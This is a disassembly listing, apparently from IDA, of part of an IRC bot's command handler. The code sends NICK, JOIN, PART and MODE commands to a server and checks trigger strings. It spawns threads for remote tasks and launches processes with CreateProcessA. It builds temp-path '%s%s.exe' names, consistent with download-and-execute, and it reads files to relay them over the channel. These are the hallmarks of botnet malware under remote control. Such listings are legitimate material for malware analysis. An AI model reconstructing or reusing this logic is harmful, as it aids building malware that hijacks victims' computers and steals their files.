		push	esi
		push	edi
		push	eax
		call	sub_41B1F0
		push	esi
		lea	eax, [ebp+var_3360]
		push	[ebp+arg_18]
		push	eax
		call	sub_41B1F0
		push	esi
		lea	eax, [ebp+var_32E0]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B1F0
		push	esi
		lea	eax, [ebp+var_3260]
		push	[ebp+var_88]
		push	eax
		call	sub_41B1F0
		push	20h
		lea	eax, [ebp+var_31E0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B1F0
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3160],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_315C],	eax
		lea	eax, [ebp+var_2C0]
		push	edi
		push	offset unk_443E4C
		push	eax
		mov	[ebp+var_33E8],	esi
		call	sub_41B740
		add	esp, 50h
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	0Dh
		push	eax
		call	sub_40A7FD
		add	esp, 0Ch
		mov	[ebp+var_33E4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_33E8]
		push	ebx
		push	eax
		push	offset sub_411E27
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_33E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_4079F3


loc_4079DD:				; CODE XREF: sub_401CC1+5D30j
		cmp	[ebp+var_3158],	ebx
		jnz	loc_406C2E
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_4079DD
; ---------------------------------------------------------------------------


loc_4079F3:				; CODE XREF: sub_401CC1+5D1Aj
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_443E7C
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_407A04:				; CODE XREF: sub_401CC1+4384j
					; sub_401CC1+439Bj
		push	7Fh
		lea	eax, [ebp+var_1524]
		push	edi
		push	eax
		call	sub_41B1F0
		push	[ebp+arg_18]
		call	sub_41B3F0
		push	3Fh
		mov	[ebp+var_13D4],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_14A4]
		push	eax
		call	sub_41B1F0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_407A4F
		push	3Fh
		lea	eax, [ebp+var_1464]
		push	esi
		push	eax
		call	sub_41B1F0
		add	esp, 0Ch


loc_407A4F:				; CODE XREF: sub_401CC1+5D7Aj
		lea	eax, [ebp+var_14A4]
		mov	[ebp+var_13D0],	1
		push	eax
		lea	eax, [ebp+var_1524]
		push	[ebp+var_13D4]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_443DC8
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	1Fh
		push	eax
		call	sub_40A7FD
		add	esp, 20h
		mov	[ebp+var_13CC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1528]
		push	ebx
		push	eax
		push	offset sub_4019E1
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_13CC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_407ADB


loc_407AC5:				; CODE XREF: sub_401CC1+5E18j
		cmp	[ebp+var_13C8],	ebx
		jnz	loc_406693
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_407AC5
; ---------------------------------------------------------------------------


loc_407ADB:				; CODE XREF: sub_401CC1+5E02j
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset dword_443DF8
		jmp	loc_406684
; ---------------------------------------------------------------------------


loc_407AEC:				; CODE XREF: sub_401CC1+4344j
					; sub_401CC1+435Bj
		push	[ebp+arg_18]
		call	sub_41B3F0
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_17A8],	eax
		jle	loc_407BD9
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1930]
		push	esi
		push	eax
		call	sub_41B910
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_17A4],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1934],	eax
		lea	eax, [ebp+var_1830]
		push	esi
		push	eax
		call	sub_41B910
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	[ebp+var_17A0],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_179C],	eax
		push	edi
		push	offset unk_443D20
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41B910
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	15h
		push	eax
		call	sub_40A7FD
		add	esp, 38h
		mov	[ebp+var_17B0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1934]
		push	ebx
		push	eax
		push	offset sub_41226E
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_17B0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_407BC8


loc_407BB6:				; CODE XREF: sub_401CC1+5F05j
		cmp	[ebp+var_1798],	ebx
		jnz	short loc_407C2F
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_407BB6
; ---------------------------------------------------------------------------


loc_407BC8:				; CODE XREF: sub_401CC1+5EF3j
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_443D4C
		jmp	loc_4068A7
; ---------------------------------------------------------------------------


loc_407BD9:				; CODE XREF: sub_401CC1+5E3Cj
		push	offset unk_443D84
		jmp	loc_4068C0
; ---------------------------------------------------------------------------


loc_407BE3:				; CODE XREF: sub_401CC1+4316j
					; sub_401CC1+432Dj
		push	[ebp+arg_18]
		push	edi
		call	dword_4F1370	; MoveFileA
		test	eax, eax
		jz	short loc_407C10
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C0]
		push	edi
		push	offset unk_443CDC
		push	200h
		push	eax
		call	sub_41B910


loc_407C0B:				; CODE XREF: sub_401CC1+213Bj
		add	esp, 14h
		jmp	short loc_407C2F
; ---------------------------------------------------------------------------


loc_407C10:				; CODE XREF: sub_401CC1+5F2Ej
		push	offset dword_443D00
		call	sub_415ECC
		push	eax
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41B910
		add	esp, 10h


loc_407C2F:				; CODE XREF: sub_401CC1+1C6Ej
					; sub_401CC1+291Aj ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_407C50
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_407C48:				; CODE XREF: sub_401CC1+4F88j
		call	sub_408EB9
		add	esp, 14h


loc_407C50:				; CODE XREF: sub_401CC1+1375j
					; sub_401CC1+1E0Ej ...
		push	1
		pop	esi
		jmp	loc_4066B7
; ---------------------------------------------------------------------------


loc_407C58:				; CODE XREF: sub_401CC1+42E8j
					; sub_401CC1+42FFj
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B190
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	edi
		mov	[ebp+var_63C], esi
		call	sub_41B3F0
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_407C95
		mov	[ebp+var_638], 5


loc_407C95:				; CODE XREF: sub_401CC1+5FC9j
		cmp	[ebp+var_C], ebx
		jz	loc_406693
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41B890
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406693
		lea	eax, [ebp+var_C84]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	dword_4F1328	; CreateProcessA
		test	eax, eax
		jnz	short loc_407CE0
		push	offset unk_443C90
		jmp	loc_407E61
; ---------------------------------------------------------------------------


loc_407CE0:				; CODE XREF: sub_401CC1+6013j
		push	edi
		push	offset dword_443CB4
		jmp	loc_406684
; ---------------------------------------------------------------------------


loc_407CEB:				; CODE XREF: sub_401CC1+42BAj
					; sub_401CC1+42D1j
		push	[ebp+arg_18]
		push	offset aK333yx	; "k333yx"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E5C
		lea	eax, [ebp+var_4454]
		push	eax
		push	104h
		call	dword_4F136C	; GetTempPathA
		push	0FFh
		lea	eax, [ebp+var_1E80]
		push	edi
		push	eax
		call	sub_41B1F0
		lea	eax, [ebp+var_157C]
		push	eax
		call	sub_40A1DC
		push	eax
		lea	eax, [ebp+var_4454]
		push	eax
		lea	eax, [ebp+var_1D80]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41B740
		mov	eax, [ebp+esi+var_84]
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+var_1C7C],	1
		mov	[ebp+var_1C78],	ebx
		jz	short loc_407D7D
		push	10h
		push	ebx
		push	eax
		call	sub_41C130
		add	esp, 0Ch
		mov	[ebp+var_1C70],	eax
		jmp	short loc_407D83
; ---------------------------------------------------------------------------


loc_407D7D:				; CODE XREF: sub_401CC1+60A6j
		mov	[ebp+var_1C70],	ebx


loc_407D83:				; CODE XREF: sub_401CC1+60BAj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_407D9A
		push	esi
		call	sub_41B3F0
		pop	ecx
		mov	[ebp+var_1C74],	eax
		jmp	short loc_407DA0
; ---------------------------------------------------------------------------


loc_407D9A:				; CODE XREF: sub_401CC1+60C8j
		mov	[ebp+var_1C74],	ebx


loc_407DA0:				; CODE XREF: sub_401CC1+60D7j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_1C6C],	eax
		lea	eax, [ebp+var_1F00]
		mov	[ebp+var_1F04],	esi
		push	eax
		call	sub_41B1F0
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_1C64],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1C68],	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_443BD4
		push	eax
		call	sub_41B740
		push	esi
		lea	eax, [ebp+var_2C0]
		push	1Eh
		push	eax
		call	sub_40A7FD
		add	esp, 24h
		mov	[ebp+var_1C80],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1F04]
		push	ebx
		push	eax
		push	offset sub_414A1D
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_1C80]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_407E4B


loc_407E35:				; CODE XREF: sub_401CC1+6188j
		cmp	[ebp+var_1C60],	ebx
		jnz	loc_406693
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_407E35
; ---------------------------------------------------------------------------


loc_407E4B:				; CODE XREF: sub_401CC1+6172j
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset dword_443C00
		jmp	loc_406684
; ---------------------------------------------------------------------------


loc_407E5C:				; CODE XREF: sub_401CC1+603Bj
		push	offset dword_443C3C


loc_407E61:				; CODE XREF: sub_401CC1+28D0j
					; sub_401CC1+3CF7j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41B740
		pop	ecx
		pop	ecx
		jmp	loc_406693
; ---------------------------------------------------------------------------


loc_407E74:				; CODE XREF: sub_401CC1+428Cj
					; sub_401CC1+42A3j
		push	[ebp+var_8C]
		push	offset a332_0	; "332"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40207C
		cmp	[ebp+var_C], ebx
		jz	loc_40207C
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41B890
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B1F0
		push	edi
		call	sub_41B3F0
		add	esp, 30h
		test	eax, eax
		jle	short loc_407EFB
		push	edi
		call	sub_41B3F0
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	dword_4F1334	; Sleep


loc_407EFB:				; CODE XREF: sub_401CC1+6224j
		push	offset dword_443BA4
		call	sub_41458A
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_40207F
; ---------------------------------------------------------------------------


loc_407F0F:				; CODE XREF: sub_401CC1+425Ej
					; sub_401CC1+4275j
		push	[ebp+var_8C]
		push	offset a332_1	; "332"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40207C
		cmp	[ebp+var_C], ebx
		jz	loc_408CA1
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41B890
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat_0 ; "repeat"
		push	eax
		call	sub_41C4C0
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_407FCB
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset aSSSS_0	; "%s %s %s :%s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B1F0
		push	esi
		lea	eax, [ebp+var_2C0]
		push	offset dword_443B38
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41458A
		push	edi
		call	sub_41B3F0
		add	esp, 38h
		test	eax, eax
		jle	loc_408CA1
		push	edi
		call	sub_41B3F0
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_40207F
; ---------------------------------------------------------------------------


loc_407FCB:				; CODE XREF: sub_401CC1+6293j
		lea	eax, [ebp+var_2C0]
		push	offset unk_443B50
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		jmp	loc_408772
; ---------------------------------------------------------------------------


loc_407FE4:				; CODE XREF: sub_401CC1+4230j
					; sub_401CC1+4247j
		push	7Fh
		lea	eax, [ebp+var_1C58]
		push	edi
		push	eax
		call	sub_41B1F0
		push	7Fh
		lea	eax, [ebp+var_1BD8]
		push	[ebp+arg_18]
		push	eax
		call	sub_41B1F0
		push	7Fh
		lea	eax, [ebp+var_1B58]
		push	[ebp+var_88]
		push	eax
		call	sub_41B1F0
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_1AD4],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1AD0],	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_443AA0
		push	eax
		mov	[ebp+var_1C5C],	esi
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	0Fh
		push	eax
		call	sub_40A7FD
		add	esp, 40h
		mov	[ebp+var_1AD8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C5C]
		push	ebx
		push	eax
		push	offset sub_413794
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_1AD8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_4080A1


loc_40808F:				; CODE XREF: sub_401CC1+63DEj
		cmp	[ebp+var_1ACC],	ebx
		jnz	short loc_4080BC
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_40808F
; ---------------------------------------------------------------------------


loc_4080A1:				; CODE XREF: sub_401CC1+63CCj
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_443AD4


loc_4080AD:				; CODE XREF: sub_401CC1+64E8j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41B740
		add	esp, 0Ch


loc_4080BC:				; CODE XREF: sub_401CC1+63D4j
					; sub_401CC1+64CCj
		cmp	[ebp+var_8], ebx
		jnz	loc_408AA8
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_408AA0
; ---------------------------------------------------------------------------


loc_4080DC:				; CODE XREF: sub_401CC1+4202j
					; sub_401CC1+4219j
		push	7Fh
		lea	eax, [ebp+var_1AC4]
		push	edi
		push	eax
		call	sub_41B1F0
		push	7Fh
		lea	eax, [ebp+var_1A44]
		push	[ebp+arg_18]
		push	eax
		call	sub_41B1F0
		push	7Fh
		lea	eax, [ebp+var_19C4]
		push	[ebp+var_88]
		push	eax
		call	sub_41B1F0
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_1940],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_193C],	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_443A2C
		push	eax
		mov	[ebp+var_1AC8],	esi
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	11h
		push	eax
		call	sub_40A7FD
		add	esp, 40h
		mov	[ebp+var_1944],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1AC8]
		push	ebx
		push	eax
		push	offset sub_412F42
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_1944]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_40819D


loc_408187:				; CODE XREF: sub_401CC1+64DAj
		cmp	[ebp+var_1938],	ebx
		jnz	loc_4080BC
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_408187
; ---------------------------------------------------------------------------


loc_40819D:				; CODE XREF: sub_401CC1+64C4j
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset dword_443A58
		jmp	loc_4080AD
; ---------------------------------------------------------------------------


loc_4081AE:				; CODE XREF: sub_401CC1+41D4j
					; sub_401CC1+41EBj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C0]
		push	offset aPartS_0	; "PART	%s"
		push	eax
		call	sub_41B740
		push	edi
		call	sub_41B3F0
		add	esp, 10h
		test	eax, eax
		jle	loc_408CA1
		push	edi
		call	sub_41B3F0
		cmp	eax, 400h
		pop	ecx
		jge	loc_408CA1
		lea	eax, [ebp+var_2C0]
		push	eax
		push	offset aS_12	; "%s\r\n"


loc_4081F1:				; CODE XREF: sub_401CC1+6597j
					; sub_401CC1+6CDEj
		push	edi
		call	sub_41B3F0
		imul	eax, 234h
		pop	ecx
		push	dword_4537D4[eax]
		call	sub_408E73
		jmp	loc_404584
; ---------------------------------------------------------------------------


loc_40820E:				; CODE XREF: sub_401CC1+41A6j
					; sub_401CC1+41BDj
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C0]
		push	[ebp+arg_18]
		push	offset aJoinSS_1 ; "JOIN %s %s"
		push	eax
		call	sub_41B740
		push	edi
		call	sub_41B3F0
		add	esp, 14h
		test	eax, eax
		jle	loc_408CA1
		push	edi
		call	sub_41B3F0
		cmp	eax, 400h
		pop	ecx
		jge	loc_408CA1
		lea	eax, [ebp+var_2C0]
		push	eax
		push	offset aS_13	; "%s\r\n"
		jmp	short loc_4081F1
; ---------------------------------------------------------------------------


loc_40825A:				; CODE XREF: sub_401CC1+4178j
					; sub_401CC1+418Fj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C0]
		push	offset aNickS_4	; "NICK	%s"
		push	eax
		call	sub_41B740
		push	edi
		call	sub_41B3F0
		add	esp, 10h
		test	eax, eax
		jle	loc_408CA1
		push	edi
		call	sub_41B3F0
		cmp	eax, 400h
		pop	ecx
		jge	loc_408CA1
		lea	eax, [ebp+var_2C0]
		push	eax
		push	offset aS_14	; "%s\r\n"
		push	edi
		call	sub_41B3F0
		imul	eax, 234h
		pop	ecx
		push	dword_4537D4[eax]
		call	sub_408E73
		push	[ebp+arg_18]
		push	edi
		push	offset dword_4439C8


loc_4082BE:				; CODE XREF: sub_401CC1+6684j
					; sub_401CC1+66EFj ...
		call	sub_4145FE
		jmp	loc_403FBB
; ---------------------------------------------------------------------------


loc_4082C8:				; CODE XREF: sub_401CC1+414Aj
					; sub_401CC1+4161j
		cmp	[ebp+var_C], ebx
		jz	loc_408CA1
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41B890
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4082F9
		push	esi
		lea	eax, [ebp+var_2C0]
		push	offset aModeS	; "MODE	%s"
		push	eax
		call	sub_41B740
		add	esp, 0Ch


loc_4082F9:				; CODE XREF: sub_401CC1+6621j
		push	edi
		call	sub_41B3F0
		test	eax, eax
		pop	ecx
		jle	loc_408CA1
		push	edi
		call	sub_41B3F0
		cmp	eax, 400h
		pop	ecx
		jge	loc_408CA1
		lea	eax, [ebp+var_2C0]
		push	eax
		push	offset aS_15	; "%s\r\n"
		push	edi
		call	sub_41B3F0
		imul	eax, 234h
		pop	ecx
		push	dword_4537D4[eax]
		call	sub_408E73
		push	esi
		push	edi
		push	offset dword_443990
		jmp	loc_4082BE
; ---------------------------------------------------------------------------


loc_40834A:				; CODE XREF: sub_401CC1+411Cj
					; sub_401CC1+4133j
		cmp	[ebp+var_C], ebx
		jz	loc_408CA1
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41B890
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_408CA1
		push	edi
		call	sub_41B3F0
		test	eax, eax
		pop	ecx
		jle	loc_408CA1
		push	edi
		call	sub_41B3F0
		cmp	eax, 400h
		pop	ecx
		jge	loc_408CA1
		push	esi
		push	offset aS_16	; "%s\r\n"
		push	edi
		call	sub_41B3F0
		imul	eax, 234h
		pop	ecx
		push	dword_4537D4[eax]
		call	sub_408E73
		push	esi
		push	edi
		push	offset dword_443958
		jmp	loc_4082BE
; ---------------------------------------------------------------------------


loc_4083B5:				; CODE XREF: sub_401CC1+40EEj
					; sub_401CC1+4105j
		cmp	[ebp+var_C], ebx
		jz	loc_408CA1
		push	edi
		push	[ebp+var_C]
		call	sub_41B890
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_408CA1
		push	esi
		push	offset aModeS_0	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_408E73
		push	esi
		push	offset unk_443928


loc_4083E7:				; CODE XREF: sub_401CC1+6EBEj
					; sub_401CC1+6ED7j ...
		call	sub_4145FE
		jmp	loc_403394
; ---------------------------------------------------------------------------


loc_4083F1:				; CODE XREF: sub_401CC1+40C0j
					; sub_401CC1+40D7j
		push	[ebp+var_8C]
		push	offset a332_2	; "332"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40207C
		push	[ebp+arg_18]
		push	offset aPartS_1	; "PART	%s\r\n"
		push	[ebp+arg_4]
		call	sub_408E73
		push	edi
		call	sub_41B3F0
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	dword_4F1334	; Sleep
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	offset aJoinSS_2 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_408E73
		push	offset dword_4438FC
		call	sub_41458A
		jmp	loc_403394
; ---------------------------------------------------------------------------


loc_408457:				; CODE XREF: sub_401CC1+4092j
					; sub_401CC1+40A9j
		cmp	[ebp+var_C], ebx
		jz	loc_408CA1
		push	edi
		call	sub_418D00
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_418D00
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B890
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_408CA1
		push	esi
		lea	eax, [ebp+var_2C0]
		push	offset dword_4438A8
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_408EB9
		push	esi
		push	edi
		push	offset unk_4438B4
		call	sub_4145FE
		add	esp, 2Ch
		jmp	loc_408CA1
; ---------------------------------------------------------------------------


loc_4084C5:				; CODE XREF: sub_401CC1+4064j
					; sub_401CC1+407Bj
		cmp	[ebp+var_C], ebx
		jz	loc_408CA1
		push	edi
		call	sub_418D00
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_418D00
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B890
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_408CA1
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_408EB9
		push	esi
		push	edi
		push	offset unk_44387C
		call	sub_4145FE
		add	esp, 20h
		jmp	loc_408CA1
; ---------------------------------------------------------------------------


loc_40851B:				; CODE XREF: sub_401CC1+4036j
					; sub_401CC1+404Dj
		cmp	[ebp+var_C], ebx
		jz	loc_40207C
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41B890
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40207C
		push	eax
		push	edi
		call	sub_414492
		push	edi
		lea	eax, [ebp+var_2C0]
		push	offset unk_443850
		push	eax
		call	sub_41B740
		add	esp, 14h
		jmp	loc_408A87
; ---------------------------------------------------------------------------


loc_40855A:				; CODE XREF: sub_401CC1+4008j
					; sub_401CC1+401Fj
		push	[ebp+arg_18]
		push	edi
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4162E2
		jmp	loc_403E2D
; ---------------------------------------------------------------------------


loc_408574:				; CODE XREF: sub_401CC1+3FC8j
					; sub_401CC1+3FDFj
		push	edi
		push	[ebp+arg_1C]
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CA1
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	short loc_408611
		push	esi
		push	[ebp+var_C]
		call	sub_41B890
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4085F9
		push	esi
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset aSSSS_1	; "%s %s %s :%s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B1F0
		push	esi
		push	edi
		lea	eax, [ebp+var_2C0]
		push	offset unk_4437C0
		push	eax
		call	sub_41B740
		add	esp, 34h
		inc	[ebp+arg_24]
		jmp	loc_408793
; ---------------------------------------------------------------------------


loc_4085F9:				; CODE XREF: sub_401CC1+68E0j
		lea	eax, [ebp+var_2C0]
		push	offset unk_4437E8
		push	eax
		call	sub_41B740
		pop	ecx
		pop	ecx
		jmp	loc_408793
; ---------------------------------------------------------------------------


loc_408611:				; CODE XREF: sub_401CC1+68CFj
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_418C2F
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		push	edi
		push	offset dword_443818
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41B910
		add	esp, 24h
		jmp	loc_408793
; ---------------------------------------------------------------------------


loc_408658:				; CODE XREF: sub_401CC1+3A8Ej
					; sub_401CC1+3AA5j
		push	offset aR_0	; "r"
		push	edi
		call	sub_41B170
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4086D2
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	eax
		call	sub_41BC90
		add	esp, 0Ch


loc_408681:				; CODE XREF: sub_401CC1+69EFj
		test	eax, eax
		jz	short loc_4086B2
		push	1
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		push	esi
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	eax
		call	sub_41BC90
		add	esp, 20h
		jmp	short loc_408681
; ---------------------------------------------------------------------------


loc_4086B2:				; CODE XREF: sub_401CC1+69C2j
		push	esi
		call	sub_418D80
		push	edi
		lea	eax, [ebp+var_2C0]
		push	offset unk_4433B4
		push	eax
		call	sub_41B740
		add	esp, 10h
		jmp	loc_4066B4
; ---------------------------------------------------------------------------


loc_4086D2:				; CODE XREF: sub_401CC1+69A8j
		push	edi
		push	offset unk_4433D8
		jmp	loc_406684
; ---------------------------------------------------------------------------


loc_4086DD:				; CODE XREF: sub_401CC1+3A60j
					; sub_401CC1+3A77j
		cmp	[ebp+var_C], ebx
		jz	loc_408CA1
		push	edi
		push	[ebp+var_C]
		call	sub_41B890
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_408CA1
		push	offset dword_443358
		push	esi
		call	sub_41C310
		push	esi
		call	sub_417985
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40871A
		push	offset unk_44335C
		jmp	short loc_408764
; ---------------------------------------------------------------------------


loc_40871A:				; CODE XREF: sub_401CC1+6A50j
		push	esi
		lea	eax, [ebp+var_2C0]
		push	offset dword_443388
